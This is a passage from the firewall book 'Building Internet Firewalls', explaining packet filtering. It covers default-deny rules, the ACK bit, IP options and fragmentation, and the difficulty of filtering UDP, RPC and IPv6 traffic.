Don't let anybody use Telnet (an application protocol) to log in from the outside.

or:

Let everybody send us email via SMTP (another application protocol).

or even:

That machine can send us news via NNTP (yet another application protocol), but no other machines can do so.

However, it won't let you say:

This user can Telnet in from outside, but no other users can do so.

because "user" isn't something a packet filtering system can identify. And, it won't let you say:

You can transfer these files but not those files.

because "file" also isn't something the packet filtering system can identify.

The main advantage of packet filtering is leverage: it allows you to provide, in a single place, particular protections for an entire network. Consider the Telnet service as an example. If you disallow Telnet by turning off the Telnet server on all your hosts, you still have to worry about someone in your organization installing a new machine (or reinstalling an old one) with the Telnet server turned on. On the other hand, if Telnet is not allowed by your filtering router, such a new machine would be protected right from the start, regardless of whether or not its Telnet server was actually running. This is an example of the kind of "fail safe" stance we discussed in Chapter 3, Security Strategies.

Routers also present a useful choke point (also discussed in Chapter 3) for all of the traffic entering or leaving a network. Even if you have multiple routers for redundancy, you probably have far fewer routers, under much tighter control, than you have host machines.

Certain protections can be provided only by filtering routers, and then only if they are deployed in particular locations in your network. For example, it's a good idea to reject all packets that have internal source addresses - that is, packets that claim to be coming from internal machines but that are actually coming in from the outside - because such packets are usually part of address-spoofing attacks. In such attacks, an attacker is pretending to be coming from an internal machine. Decision-making of this kind can be done only in a filtering router at the perimeter of your network. Only a filtering router in that location (which is, by definition, the boundary between "inside" and "outside") is able to recognize such a packet, by looking at the source address and whether the packet came from the inside (the internal network connection) or the outside (the external network connection). Figure 6.1 illustrates this type of source address forgery.

Figure 6.1: Source address forgery

6.1.1 Advantages of Packet Filtering

Packet filtering has a number of advantages.

6.1.1.1 One screening router can help protect an entire network

One of the key advantages of packet filtering is that a single, strategically placed packet filtering router can help protect an entire network. If there is only one router that connects your site to the Internet, you gain tremendous leverage on network security, regardless of the size of your site, by doing packet filtering on that router.

6.1.1.2 Packet filtering doesn't require user knowledge or cooperation

Unlike proxying, described in Chapter 7, Proxy Systems, packet filtering doesn't require any custom software or configuration of client machines, nor does it require any special training or procedures for users. When a packet filtering router decides to let a packet through, the router is indistinguishable from a normal router. Ideally, users won't even realize it's there, unless they try to do something that is prohibited (presumably because it is a security problem) by the packet filtering router's filtering policy.

This "transparency" means that packet filtering can be done without the cooperation, and often without the knowledge, of users. The point is not that you can do this subversively, behind your users' backs (while actions like that are sometimes necessary - it all depends on the circumstances - they can be highly political). The point is that you can do packet filtering without their having to learn anything new to make it work, and without your having to depend on them to do (or not do) anything to make it work.

6.1.1.3 Packet filtering is widely available in many routers

Packet filtering capabilities are available in many hardware and software routing products, both commercial and freely available over the Internet. Most sites already have packet filtering capabilities available in the routers they use.

Most commercial router products, such as the routers from Livingston Enterprises and Cisco Systems, include packet filtering capabilities. Packet filtering capabilities are also available in a number of packages, such as Drawbridge, KarlBridge, and screend, that are freely distributed on the Internet; these are discussed in Appendix B, Tools.

NOTE: In this book, it's impossible to give a complete list of commercial and publicly available packages, because new products are constantly being introduced and packet filtering capabilities are constantly being added to existing products. Instead, in this chapter we concentrate on discussing generic packet filtering features and capabilities, and the consequences of having - or not having - particular capabilities, so that you can make your own evaluation of the products currently available to you.

6.1.2 Disadvantages of Packet Filtering

Although packet filtering provides many advantages, there are some disadvantages to using packet filtering as well:

6.1.2.1 Current filtering tools are not perfect

Despite the widespread availability of packet filtering in various hardware and software packages, packet filtering is still not a perfect tool. The packet filtering capabilities of many of these products share, to a greater or lesser degree, common limitations:

  • The packet filtering rules tend to be hard to configure. Although there is a range of difficulty, it mostly runs from slightly mind-twisting to brain-numbingly impossible.

  • Once configured, the packet filtering rules tend to be hard to test.

  • The packet filtering capabilities of many of the products are incomplete, making implementation of certain types of highly desirable filters difficult or impossible.

  • Like anything else, packet filtering packages may have bugs in them; these bugs are more likely than proxying bugs to result in security problems. Usually, a proxy that fails simply stops passing data, while a failed packet filtering implementation may allow packets it should have denied.

6.1.2.2 Some protocols are not well suited to packet filtering

Even with perfect packet filtering implementations, you will find that some protocols just aren't well suited to security via packet filtering, for reasons we'll discuss later in this book. Such protocols include the Berkeley "r" commands (rcp, rlogin, rdist, rsh, etc.) and RPC-based protocols such as NFS and NIS/YP. (The problems of using packet filtering to deal with these protocols are discussed in Chapter 8, Configuring Internet Services.)

6.1.2.3 Some policies can't readily be enforced by normal packet filtering routers

The information that a packet filtering router has available to it doesn't allow you to specify some rules you might like to have. For example, packets say what host they come from, but generally not what user. Therefore, you can't enforce restrictions on particular users. Similarly, packets say what port they're going to, but not what application; when you enforce restrictions on higher-level protocols, you do it by port number, hoping that nothing else is running on the port assigned to that protocol. Malicious insiders can easily subvert this kind of control.

Previous: 5.10 Protecting the Machine and Backups | Building Internet Firewalls | Next: 6.2 Configuring a Packet Filtering Router
5.10 Protecting the Machine and Backups | Book Index | 6.2 Configuring a Packet Filtering Router


[Chapter 6] 6.2 Configuring a Packet Filtering Router

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.1 Why Packet Filtering? Chapter 6
Packet Filtering 		Next: 6.3 What Does a Packet Look Like?

6.2 Configuring a Packet Filtering Router

To configure a packet filtering router, you first need to decide what services you want to allow or deny, and then you need to translate your decisions into rules about packets. In reality, you probably don't care about the details of packets at all. What you want is to get your work done. For example, you want to receive mail from the Internet, and whether that's managed by packets or by Murphy's ghost is irrelevant to you. The router, on the other hand, cares only about packets, and only about very limited parts of them. In constructing the rules for your routers, you have to translate the general statement "Receive mail from the Internet" into a description of the particular kinds of packets you want the router to allow to pass.

The following sections outline the general concepts you need to keep in mind when translating decisions about services into rules about packets. The specific details for each service are described in Chapter 8.

6.2.1 Protocols Are Usually Bidirectional

Protocols are usually bidirectional; they almost always involve one side sending an inquiry or a command, and the other side sending a response of some kind. When you're planning your packet filtering rules, you need to remember that packets go both ways. For example, it doesn't do any good to allow outbound Telnet packets that carry your keystrokes to a remote host, if you don't also allow the incoming packets for that connection that carry the screen display back to you.

Conversely, it also won't do you any good to block only half a connection. Many attacks can be carried out if attackers can get packets into your network, even if the attackers can't get any responses back. This is possible because the responses may be predictable enough to allow attackers to carry on their side of the conversation without having to actually see the responses at all. If the responses are predictable, an attacker doesn't need to see them. They won't be able to extract any information directly if they don't see the responses, but they may be able to do something that gives them the data indirectly. For example, even if they can't see your /etc/passwd file directly, they can probably issue a command to mail themselves a copy.

6.2.2 Be Careful of `Inbound' Versus `Outbound' Semantics

When you're planning your packet filtering strategy, you need to be careful in your discussions of "inbound" versus "outbound." You need to carefully distinguish between inbound and outbound packets, and inbound and outbound services. An outbound service (e.g., the Telnet service mentioned above) involves both outbound packets (your keystrokes) and inbound packets (the responses to be displayed on your screen). Although most people habitually think in terms of services, you need to make sure you think in terms of packets when you're dealing with packet filtering. When you talk to others about filtering, be sure to communicate clearly whether you're talking about inbound versus outbound packets, or inbound versus outbound services.

6.2.3 Default Permit Versus Default Deny

In Chapter 3, we distingushed between the two stances you can choose in putting together your security policy: the default deny stance (that which is not expressly permitted is prohibited) and the default permit stance (that which is not explicitly prohibited is permitted). From a security point of view, it is far safer to take the attitude that things should be denied by default. Your packet filtering rules should reflect this stance. As we discussed earlier, start from a position of denying everything and then set rules that allow only protocols that you need, that you understand the security implications of, and that you feel that you can provide safely enough (according to your own particular definition of "safely enough") for your purposes

The default deny stance is much safer and more effective than the default permit stance, which involves permitting everything by default and trying to block those things that you know are problems. The reality is that with such an approach, you'll never know about all the problems, and thus you'll never be able to do a complete job.

In practical terms, the default deny stance means that your filtering rules should be a small list of specific things that you allow, perhaps with a few very specific things you deny scattered throughout to make the logic come out right, followed by a default deny that covers everything else. We'll explain in detail how these rules work later in this chapter.

Previous: 6.1 Why Packet Filtering? | Building Internet Firewalls | Next: 6.3 What Does a Packet Look Like?
6.1 Why Packet Filtering? | Book Index | 6.3 What Does a Packet Look Like?


[Chapter 6] 6.3 What Does a Packet Look Like?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 6.2 Configuring a Packet Filtering Router Chapter 6
Packet Filtering 		Next: 6.4 What Does the Router Do with Packets?

6.3 What Does a Packet Look Like?

To understand packet filtering, you first have to understand packets and how they are handled at each layer of the TCP/IP protocol stack:

  • Application layer (e.g., FTP, Telnet, HTTP)

  • Transport layer (TCP or UDP)

  • Internet layer (IP)

  • Network access layer (e.g., Ethernet, FDDI, ATM)

Packets are constructed in such a way that layers for each protocol used for a particular connection are wrapped around the packets, like the layers of skin on an onion.

At each layer, a packet has two parts: the header and the body. The header contains protocol information relevant to that layer, while the body contains the data for that layer which often consists of a whole packet from the next layer in the stack. Each layer treats the information it gets from the layer above it as data, and applies its own header to this data. At each layer, the packet contains all of the information passed from the higher layer; nothing is lost. This process of preserving the data while attaching a new header is known as encapsulation.

At the application layer, the packet consists simply of the data to be transferred (for example, part of a file being transferred during an FTP session). As it moves to the transport layer, the Transmission Control Protocol (TCP) or the User Datagram Protocol (UDP) preserves the data from the previous layer and attaches a header to it. At the next layer, IP considers the entire packet (consisting now of the TCP or UDP header and the data) to be data, and now attaches its own IP header. Finally, at the network access layer, Ethernet or another network protocol considers the entire IP packet passed to it to be data, and attaches its own header. Figure 6.2 shows how this works.

Figure 6.2: Data encapsulation

At the other side of the connection, this process is reversed. As the data is passed up from one layer to the next higher layer, each header (each skin of the onion) is stripped off by its respective layer. For example, the Internet layer removes the IP header before passing the encapsulated data up to the transport layer (TCP or UDP).

In trying to understand packet filtering, the most important information from our point of view is in the headers of the various layers. The sections below look at several examples of different types of packets and show the contents of each of the headers that packet filtering routers will be examining. We assume a certain knowledge of TCP/IP fundamentals, and concentrate on discussing the particular issues related to packet filtering. For a detailed introduction to TCP/IP, see Appendix C.

In the discussion below, we start with a simple example demonstrating TCP/IP over Ethernet. From there, we go on to discuss IP's packet filtering characteristics, then protocols above IP (such as TCP, UDP, ICMP, and RPC), protocols below IP (such as Ethernet), and finally non-IP protocols (such as AppleTalk or IPX).

6.3.1 TCP/IP/Ethernet Example

Let's consider an example of a TCP/IP packet (for example, one that is part of a Telnet connection) on an Ethernet. There are four layers that we're interested in here: the Ethernet layer, the IP layer, the TCP layer, and the data layer. In this section, we'll consider them from bottom to top and look at the contents of the headers that the packet filtering routers will be examining.

6.3.1.1 Ethernet layer

At the Ethernet layer, the packet consists of two parts: the Ethernet header and the Ethernet body. In general, you won't be able to do packet filtering based on information in the Ethernet header. Basically, the header tells you:

  • What kind of packet this is - we'll assume in this example that it is an IP packet, as opposed to an AppleTalk packet, a Novell packet, a DECNET packet, or some other kind of packet.

  • The Ethernet address of the machine that put the packet onto this particular Ethernet network segment - the original source machine, if it's attached to this segment; otherwise, the last router in the path from the source machine to here.

  • The Ethernet address of the packet's destination on this particular Ethernet network segment - perhaps the destination machine, if it's attached to this segment; otherwise, the next router in the path from here to the destination machine.

Because we are considering IP packets in this example, we know that the Ethernet body contains an IP packet.

6.3.1.2 IP layer

At the IP layer, the IP packet is made up of two parts: the IP header and the IP body, as shown in Figure 6.3. From a packet filtering point of view, the IP header contains four interesting pieces of information:

  • The IP source address - four bytes long, and typically written as something like 172.16.244.34.

  • The IP destination address - just like the IP source address.

  • The IP protocol type - identifies the IP body as a TCP packet, as opposed to a UDP packet, an Internet Control Message Protocol (ICMP) packet, or some other type of packet.

  • The IP options field - which is almost always empty, but which is where options like the IP source route and the IP security options would be specified if they were used for a given packet. (See the discussion in "IP options" below.)

IP may divide up a packet that is too large to cross a given network into a series of smaller packets called fragments. Fragmenting a packet doesn't change its structure at the IP layer (the IP headers are duplicated into each fragment), but it may mean that the body contains only a part of a packet at the next layer. (See the discussion in "IP fragmentation" below.)

Figure 6.3: IP header and body

The IP body in this example contains an unfragmented TCP packet, although it could just as well contain the first fragment of a fragmented TCP packet.

6.3.1.3 TCP layer

At the TCP layer, the packet again contains two parts: the TCP header and the TCP body. (Figure 13.12 in Appendix C shows the format of the TCP header and body.) From a packet filtering point of view, the TCP header contains three interesting pieces of information:

  • The TCP source port - a two-byte number, which specifies what client or server process the packet is coming from on the source machine

  • The TCP destination port - just like the TCP source port

  • The TCP flags field

The TCP flags field contains one bit of interest for packet filtering: the ACK bit. By examining the ACK bit, a packet filtering router can determine whether a given packet is the first packet initiating a TCP connection (if the ACK bit is not set) or is a subsequent packet (if the ACK bit is set). The ACK bit is part of the TCP mechanism that guarantees delivery of the data. The ACK bit is set whenever one side of a connection has received data from the other side (it acknowledges the received data). Therefore, the ACK bit is set on all packets going in either direction except the very first packet from the client to the server.

The TCP body contains the actual "data" being transmitted - e.g., for Telnet the keystrokes or screen displays that are part of a Telnet session, or for FTP the data being transferred or commands being issued as part of an FTP session.

6.3.2 IP

IP serves as a common middle ground for the Internet. It can have many different layers below it, such as Ethernet, token ring, FDDI, PPP, or carrier pigeon.[2] IP can have many other protocols layered on top of it, with TCP, UDP, and ICMP being by far the most common, at least outside of research environments. In this section, we discuss the special characteristics of IP relevant to packet filtering.

[2] See RFC1149, dated 1 April 1990, which defines the Avian Transport Protocol; RFCs dated 1 April are usually worth reading.

6.3.2.1 IP options

As we saw in the discussion of the IP layer above, IP headers include an options field, which is usually empty. In its design, the IP options field was intended as a place for special information or handling instructions that didn't have a specific field of their own in the header. However, TCP/IP's designers did such a good job of providing fields for everything necessary that the options field is almost always empty. In practice, IP options are very seldom used except for break-in attempts and (very rarely) for network debugging.

The most common IP option a firewall would be confronted with is the IP source route option. Source routing lets the source of a packet specify the route the packet is supposed to take to its destination, rather than letting each router along the way use its routing tables to decide where to send the packet next. Source routing is supposed to override the instructions in the routing tables. In theory, the source routing option is useful for working around routers with broken or incorrect routing tables; if you know the route that the packet should take, but the routing tables are broken, you can override the bad information in the routing tables by specifying appropriate IP source route options on all your packets. In practice though, source routing is commonly used only by attackers who are attempting to circumvent security measures by causing packets to follow unexpected paths.

Many packet filtering systems take the approach of dropping any packet that has any IP option set, without even trying to figure out what the option is or what it means; in general, this seems to work well, without causing any special problems.

6.3.2.2 IP fragmentation

Another IP-level consideration for packet filtering is fragmentation. One of the features of IP is its ability to divide a large packet that otherwise couldn't traverse some network link (because of limitations on packet size along that link) into smaller packets, called fragments, which can traverse that link. The fragments are then reassembled into the full packet by the destination machine (not by the machine at the other end of the limited link; once a packet is fragmented, it stays fragmented until it reaches its destination).

IP fragmentation is illustrated in Figure 6.4.

Figure 6.4: Data fragmentation

From a packet filtering point of view, the problem with fragmentation is that only the first fragment will contain the header information from higher-level protocols, like TCP, that the packet filtering system needs in order to decide whether or not to allow the full packet. The common packet filtering approach to dealing with fragmentation is to allow any nonfirst fragments through, and to do packet filtering only on the first fragment of a packet. This is safe because, if the packet filtering decides to drop the first fragment, the destination system will not be able to reassemble the rest of the fragments into the original packet, regardless of how many of the rest of the fragments it receives. If it can't reconstruct the original packet, the partially reassembled packet will not be accepted.

The destination host will hold the fragments in memory for a while, waiting to see if it gets the missing piece; this makes it possible for attackers to use fragmented packets in a denial of service attack. When the destination host gives up on reassembling the packet, it will send an ICMP "packet reassembly time expired" message back to the source host, which will tell an attacker that the host exists, and why the connection didn't succeed. There is nothing to be done about such denial of service attacks, but you can filter out the ICMP messages.

Outbound fragments could conceivably contain data you don't want to release to the world. For example, an outbound NFS packet would almost certainly be fragmented, and if the file was confidential, that information would be released. If this happens by accident, it's unlikely to be a problem; people do not generally hang around looking at the data in random packets going by just in case there's something interesting in them. You could wait a very long time for somebody to accidentally send a fragment out with interesting data in it.

If somebody inside intentionally uses fragmentation to transmit data, you have hostile users within the firewall, and no firewall can deal successfully with this problem. (They probably aren't very clever hostile users, though, because there are easier ways to get data out.)

The only situation in which you need to worry about outbound fragments is the one in which you allow a request in but block the outbound reply. In this situation, nonfirst fragments of the reply will get out, and the attacker has reason to expect them and look for them. You can deal with this by being careful to filter out requests and by not relying on filtering out the replies.

6.3.3 Protocols Above IP

IP serves as the base for a number of different protocols; by far the most common are TCP, UDP, and ICMP. These are, in fact, the only IP-based protocols that you're likely to see outside a research environment.

We discuss Remote Procedure Calls (RPCs) as well in this section, although RPC is, strictly speaking, based on either TCP or UDP, not on IP itself. It makes sense to discuss it here, however, because, like TCP and UDP, RPC is intended to operate as a general-purpose session protocol on which application protocols can be layered.

In addition, we briefly discuss IP over IP (i.e., an IP packet encapsulated within another IP packet), which is used primarily for tunneling multicast IP packets over nonmulticast IP networks.

6.3.3.1 TCP

TCP is the protocol most commonly used for services on the Internet. For example, Telnet, FTP, SMTP, NNTP, and HTTP are all TCP-based services. TCP provides a reliable, bidirectional connection between two endpoints. Opening a TCP connection is like making a phone call: you dial the number, and after a short setup period, a fairly reliable connection is established between you and whomever you're calling.

TCP is reliable in that it makes three guarantees to the application layer:

  • The destination will receive the application data in the order it was sent.

  • The destination will receive all the application data.

  • The destination will not receive duplicates of any of the application data.

TCP will kill a connection rather than violate one of these guarantees. For example, if TCP packets from the middle of a session are lost in transit to the destination, the TCP layer will arrange for those packets to be retransmitted before handing the data up to the application layer. It won't hand up the data following the missing data until it has the missing data. If some of the data cannot be recovered, despite repeated attempts, the TCP layer will kill the connection and report this to the application layer, rather than hand up the data to the application layer with a gap in it.

These guarantees incur certain costs in both setup time (the two sides of a connection have to exchange startup information before they can actually begin moving data) and ongoing performance (the two sides of a connection have to keep track of the status of the connection, to determine what data needs to be resent to the other side to fill in gaps in the conversation).

TCP is bidirectional in that once a connection is established, a server can reply to a client over the same connection. You don't have to establish one connection from a client to a server for queries or commands and another from the server back to the client for answers.

If you're trying to block a TCP connection, it is sufficient to simply block the first packet of the connection. Without that first packet (and, more importantly, the connection startup information it contains), any further packets in that connection won't be reassembled into a data stream by the receiver, and the connection will never be made. That first packet is recognizable because the ACK bit in its TCP header is not set; every other packet in the connection, regardless of which direction it's going, will have the ACK bit set.

Recognizing these "start-of-connection" TCP packets allows you to enforce a policy that allows internal clients to connect to external servers, but prevents external clients from connecting to internal servers. You do this by allowing start-of-connection TCP packets (those without the ACK bit set) only outbound and not inbound. Start of connection packets would be allowed out from internal clients to external servers, but would not be allowed in from external clients to internal servers. Attackers cannot subvert this approach simply by turning on the ACK bit in their start-of-connection packets, because the absence of the ACK bit is what identifies these packets as start of connection packets.

Packet filtering implementations vary in how they treat and let you handle the ACK bit. Some packet filtering implementations give direct access to the ACK bit - for example, by letting you include "ack" as a keyword in a packet filtering rule. Some other implementations give indirect access to the ACK bit. For example, the Cisco "established" keyword works by examining this bit (established is "true" if the ACK bit is set, and "false" if the ACK bit is not set). Finally, some implementations don't let you examine the ACK bit at all.

Figure 6.5 shows what ACK is set to on packets that are part of a TCP connection.

Figure 6.5: ACK bits on TCP packets

6.3.3.2 UDP

The body of an IP packet might contain a UDP packet instead of a TCP packet. UDP is a low-overhead alternative to TCP.

UDP is low overhead in that it doesn't make any of the reliability guarantees (delivery, ordering, and nonduplication) that TCP does, and, therefore, it doesn't need the mechanism to make those guarantees. Every UDP packet is independent; UDP packets aren't part of a "virtual circuit" as TCP packets are. Sending UDP packets is like dropping postcards in the mail: if you drop 100 postcards in the mail, even if they're all addressed to the same place, you can't be absolutely sure that they're all going to get there, and those that do get there probably won't be in exactly the same order they were in when you sent them.

Unlike postcards, UDP packets can actually arrive more than once (without being ripped to shreds, which is normally the only way the same postcard gets delivered multiple times). Multiple copies are possible because the packet might be duplicated by the underlying network. For example, on an Ethernet, a packet would be duplicated if a router thought that it might have been the victim of an Ethernet collision. If the router was wrong, and the original packet had not been the victim of a collision, both the original and the duplicate would eventually arrive at the destination. (A confused application may also decide to send the same data twice, perhaps because it didn't get an expected response to the first one.)

All of these things can happen to TCP packets, too, but they will be corrected before the data is passed to the application. With UDP, the application is responsible for dealing with the packets, not corrected data.

UDP packets are very similar to TCP packets in structure. A UDP header contains UDP source and destination port numbers, just like the TCP source and destination port numbers. However, a UDP header does not contain anything resembling an ACK bit. The ACK bit is part of TCP's mechanism for guaranteeing reliable delivery of data. Because UDP makes no such guarantees, it has no need for an ACK bit. There is no way for a packet filtering router to determine, simply by examining the header of an incoming UDP packet, whether that packet is a first packet from an external client to an internal server, or a response from an external server back to an internal client.

Some packet filtering implementations, such as CheckPoint's FireWall-1 product, Janus; Morning Star's SecureConnect Router; and the KarlBridge/KarlBrouter, have the capability of "remembering" outgoing UDP packets that they've seen. They can then allow only the corresponding response packets back in through the filtering mechanism. In order to be counted as a response, the incoming packet has to be from the host and port that the outbound packet was sent to, and has to be directed to the host and port that sent the outbound packet. This capability is often referred to as dynamic packet filtering, because the router is essentially modifying the filtering rules on the fly to accommodate these returning packets. The rules created to allow the responses are time-limited; they time out after a few seconds or minutes. Dynamic packet filtering may also be used for any situation in which the packet filtering rules change without somebody explictly changing the configuration; different products support different capabilities.

Figure 6.6 illustrates dynamic packet filtering at the UDP layer.

Figure 6.6: Dynamic packet filtering at the UDP layer

6.3.3.3 ICMP

ICMP is used for IP status and control messages. ICMP packets are carried in the body of IP packets, just as TCP and UDP packets are. Examples of ICMP messages include:

  • Echo request - what a host sends when you run ping.

  • Echo response - what a host responds to an "echo request" with.

  • Time exceeded - what a router returns when it determines that a packet appears to be looping; a more intuitive name might be maximum hopcount exceeded.

  • Destination unreachable - what a router returns when the destination of a packet can't be reached for some reason (e.g., because a network link is down).

  • Redirect - what a router sends a host in response to a packet the host should have sent to a different router; the router handles the original packet anyway (forwarding it to the router it should have gone to in the first place), and the redirect tells the host about the more efficient path for next time.

Unlike TCP or UDP, ICMP has no source or destination ports, and no other protocols layered on top of it. Instead, there is a set of defined ICMP message type codes; the particular code used dictates the interpretation of the rest of the ICMP packet.

Many packet filtering systems let you filter ICMP packets based on the ICMP message type field, much as they allow you to filter TCP or UDP packets based on the TCP or UDP source and destination port fields.

6.3.3.4 RPC

There are multiple remote procedure call protocols known as RPCs. The most popular is sometimes called "Sun RPC" because it was originally developed at Sun Microsystems. This is the protocol we'll be discussing, and it is the protocol most frequently referred to as simply "RPC". Other remote procedure call mechanisms are specific to particular UNIX implementations or implementation families. (For example, OSF DCE has its own remote procedure call protocol.) These mechanisms differ in detail from RPC, but tend to have similar problems.

Strictly speaking, the RPC mechanism is not built on top of IP, but rather on top of UDP and TCP. However, like TCP and UDP, RPC is used as a general-purpose transport protocol by a variety of application protocols (such as NFS and NIS/YP, as we discuss in Chapter 8), so it makes sense to describe it here. NFS and NIS/YP are vulnerable services from a network security point of view. An attacker with access to your NFS server can probably read any file on your system. An attacker with access to your NIS/YP server can probably obtain your password file, on which he can run a password-cracking attack against your system.

In the TCP and UDP protocols, port numbers are two-byte fields. This means that there are only 65,536 possible port numbers for TCP and UDP services. There aren't enough ports to be able to assign a unique well-known port number to every possible service and application that might want one. Among other things, RPC addresses this limitation. Each RPC-based service is assigned a unique four-byte "RPC service number." This allows for 4,294,967,296 different services, each with a unique number. That's more than enough to assign a unique number to every possible service and application you'd need.

RPC is built on top of TCP and UDP so there needs to be some way of mapping the RPC service numbers of the RPC-based servers in use on a machine to the particular TCP or UDP ports those servers are using. This is where the portmapper server comes in.

The portmapper is the only RPC-related server that is guaranteed to run on a particular TCP or UDP port number (it is at port number 111 on both). When an RPC-based server such as an NFS or NIS/YP server starts, it allocates a random TCP and/or UDP (some use one, some the other, some both) port for itself.[3] Then, it contacts the portmapper server on the same machine to "register" its unique RPC service number and the particular port(s) it is using at the moment.

[3] Actually, most NFS implementations that we've seen always use port 2049; however, we're not willing to assume that NFS always will use that port, in every implementation. In fact, RFC 1094, the NFS protocol specification, says "The NFS protocol currently uses the UDP port number 2049. This is not an officially assigned port, so later versions of the protocol use the `Portmapping' facility of RPC."

An RPC-based client program that wishes to contact a particular RPC-based server on a machine first contacts the portmapper server on that machine (which, remember, always runs on both TCP and UDP port 111). The client tells portmapper the unique RPC service number for the server it wishes to access, and portmapper responds with a message saying, in effect, either "I'm sorry, but that service isn't available on this machine at the moment," or "That service is currently running on TCP (or UDP) port N on this machine at the moment." At that point, the client contacts the server on the port number it got from the portmapper, and continues its conversation directly with the server, without further involvement from the portmapper. (Figure 6.7 shows this process.)

Figure 6.7: RPC and the portmapper

It's very difficult to use packet filtering to control RPC-based services, because you don't know what port the service will be using on a particular machine - and chances are that the port used will change every time the machine is rebooted. Blocking access to the portmapper isn't sufficient. An attacker can bypass the step of talking to the portmapper, and simply try all TCP and/or UDP ports (the 65,536 possible ports can all be checked on a particular machine in a matter of minutes), looking for the response expected from a particular RPC-based server like NFS or NIS/YP.

Some newer packet filtering products can talk to portmapper to determine what services are where and filter on that basis. Note that this has to be verified on a per-packet basis for UDP-based services. The packet filter will have to contact portmapper every time it receives a packet, because if the machine has rebooted, the service may have moved. Because TCP is connection-oriented, the port number only has to be verified on a per-connection basis. Using this mechanism to allow UDP-based services is going to result in high overhead and is probably not wise for data-intense applications like NFS.

NOTE: Even though it is not sufficient, you should still block access to the portmapper, because some versions of portmapper are capable of being used as proxies for an attacker's clients.

So, what do you do to guard RPC-based services? A couple of observations: First, it turns out that most of the "dangerous" RPC-based services (particularly NIS/YP and NFS) are offered only over UDP. Second, most services you'd want to access through a packet filter are TCP-based, not UDP-based; the notable exceptions are DNS, NTP, syslog, and Archie. These twin observations lead to the common approach many sites take in dealing with RPC using packet filtering: block UDP altogether, except for specific and tightly controlled "peepholes" for DNS, NTP, syslog and Archie. (See the discussion of these services in Chapter 8.)

With this approach, if you wish to allow any TCP-based RPC service, you'll need to allow them all. TCP-based NFS servers, while available, are not yet widely used; if you're using them, however, you'll need to modify this approach accordingly.

6.3.3.5 IP over IP

In some circumstances, IP packets are encapsulated within other IP packets for transmission, yielding so-called "IP over IP." The most common use of IP over IP is to carry multicast IP packets (that is, packets with multicast destination addresses) between networks that do support multicasting over intermediate networks that don't. To cross these intermediate networks, a special multicast router (or mrouter) on each multicast network encapsulates the multicast IP packets that it wants to send into nonmulticast (i.e., normal) IP packets addressed to other mrouters. The other mrouters, upon receiving these encapsulated multicast packets, strip off the outer (nonmulticast) packet and then handle the inner (multicast) packet.

Multicast IP is becoming more and more popular on the Internet, primarily because of the conferencing and other services offered through the MBONE. We discuss the MBONE, and multicast services in general, in more detail in Chapter 2, Internet Services and Chapter 8.

6.3.4 Protocols Below IP

It's theoretically possible to filter on information from below the IP level - for example, the Ethernet hardware address. However, doing so is very rarely useful because in most cases, all packets from the outside are coming from the same hardware address (the address of the router that handles your Internet connection). Furthermore, many routers have multiple connections with different lower-level protocols. As a result, doing filtering at lower levels would require configuring different interfaces with different kinds of rules for the different lower-level protocols. You couldn't write one rule to apply to all interfaces on a router that had two Ethernet connections and an FDDI connection, because the headers of Ethernet and FDDI packets, while similar, are not identical. In practice, IP is the lowest level protocol at which people choose to do packet filtering.

6.3.5 Application Layer Protocols

In most cases, there is a further protocol on top of TCP or UDP, specific to the application. These protocols differ widely in their specificity, and there are hundreds, if not thousands, of them (almost as many as there are network-based applications). Some newer packet filtering applications provide the ability to filter on application-layer protocols for particular well-known applications. For example, they may be able to recognize particular information in an FTP transaction in order to set up dynamic filters, or they may be able to compare the information in a packet to the application that it's supposed to be going to, to be sure that packets addressed to a DNS port are actually DNS packets.

6.3.6 IP Version 6

The current version of IP (at the time this book was written) is officially known as IP Version 4; throughout this book, whenever we talk about IP with no further qualification, that's what we're talking about. There is, however, a new version of IP in the works right now, known as IP Version 6 (IPv6 for short). Why do we need a new version of IP, and how will IPv6 affect you?

As we mentioned in the section called "What the Future Holds" in Chapter 4, Firewall Design, the impetus to create IPv6 was one simple problem: the Internet is running out of IP addresses. The Internet has become so popular that there just won't be enough IP network numbers (particularly Class B network numbers, which have proven to be what most sites need) to go around; by some estimates, if nothing had been done, the Internet would have run out of addresses in 1995 or 1996. Fortunately, the problem was recognized, and something was done. Two things, actually - first, the implementation of a set of temporary measures and guidelines to make best possible use of the remaining unassigned addresses, and second, the design and implementation of a new version of IP that would permanently deal with the address-exhaustion issue.

If you're going to create a new version of IP in order to deal with address-space exhaustion, you might as well take advantage of the opportunity to deal with a whole raft of other problems or limitations in IP as well, such as encryption, authentication, source routing, and dynamic configuration. According to Steve Bellovin of AT&T Bell Laboratories, a well-known firewalls expert on the Internet and a participant in the IPv6 design process:[4]

[4] Steve Bellovin, posting to the Firewalls mailing list, December 31, 1994.

IPv6 is based on the concept of nested headers. That's how encryption and authentication are done; the "next protocol" field after the IPv6 header specifies an encryption or an authentication header. In turn, their next protocol fields would generally indicate either IPv6 or one of the usual transport protocols, such as TCP or UDP.

Nested IP over IP can be done even without encryption or authentication; that can be used as a form of source routing. A more efficient way is to use the source routing header - which is more useful than the corresponding IPv4 option, and is likely to be used much more, especially for mobile IP.

Some of the implications for firewalls are already apparent. A packet filter must follow down the full chain of headers, understanding and processing each one in turn. (And yes, this can make looking at port numbers more expensive.) A suitably cautious stance dictates that a packet with an unknown header be bounced, whether inbound or outbound. Also, the ease and prevalence of source routing means that cryptographic authentication is absolutely necessary. On the other hand, it is intended that such authentication be a standard, mandatory feature. Encrypted packets are opaque, and hence can't be examined; this is true today, of course, but there aren't very many encryptors in use now. That will change. Also note that encryption can be done host-to-host, host-to-gateway, or gateway-to-gateway, complicating the analysis still more.

Address-based filtering will also be affected, to some extent, by the new autoconfiguration mechanisms. It's vital that any host whose address is mentioned in a filter receive the same address each time. While this is the intent of the standard mechanisms, one needs to be careful about proprietary schemes, dial-up servers, etc. Also, high-order address bits can change, to accommodate the combination of provider-based addressing and easy switching among carriers.

Finally, IPv6 incorporates "flows." Flows are essentially virtual circuits at the IP level; they're intended to be used for things like video, intermediate-hop ATM circuit selection, etc. But they can also be used for firewalls, given appropriate authentication: the UDP reply problem might go away if the query had a flow id that was referenced by the response. This, by the way, is a vague idea of mine; there are no standards for how this should be done. The regular flow setup protocol won't work; it's too expensive. But a firewall traversal header might do the job.

As you can see, IPv6 could have a major impact on firewalls, especially with respect to packet filtering. As this book is being written, though, it's still too soon to tell just what those effects will be, and when we'll start to feel them.

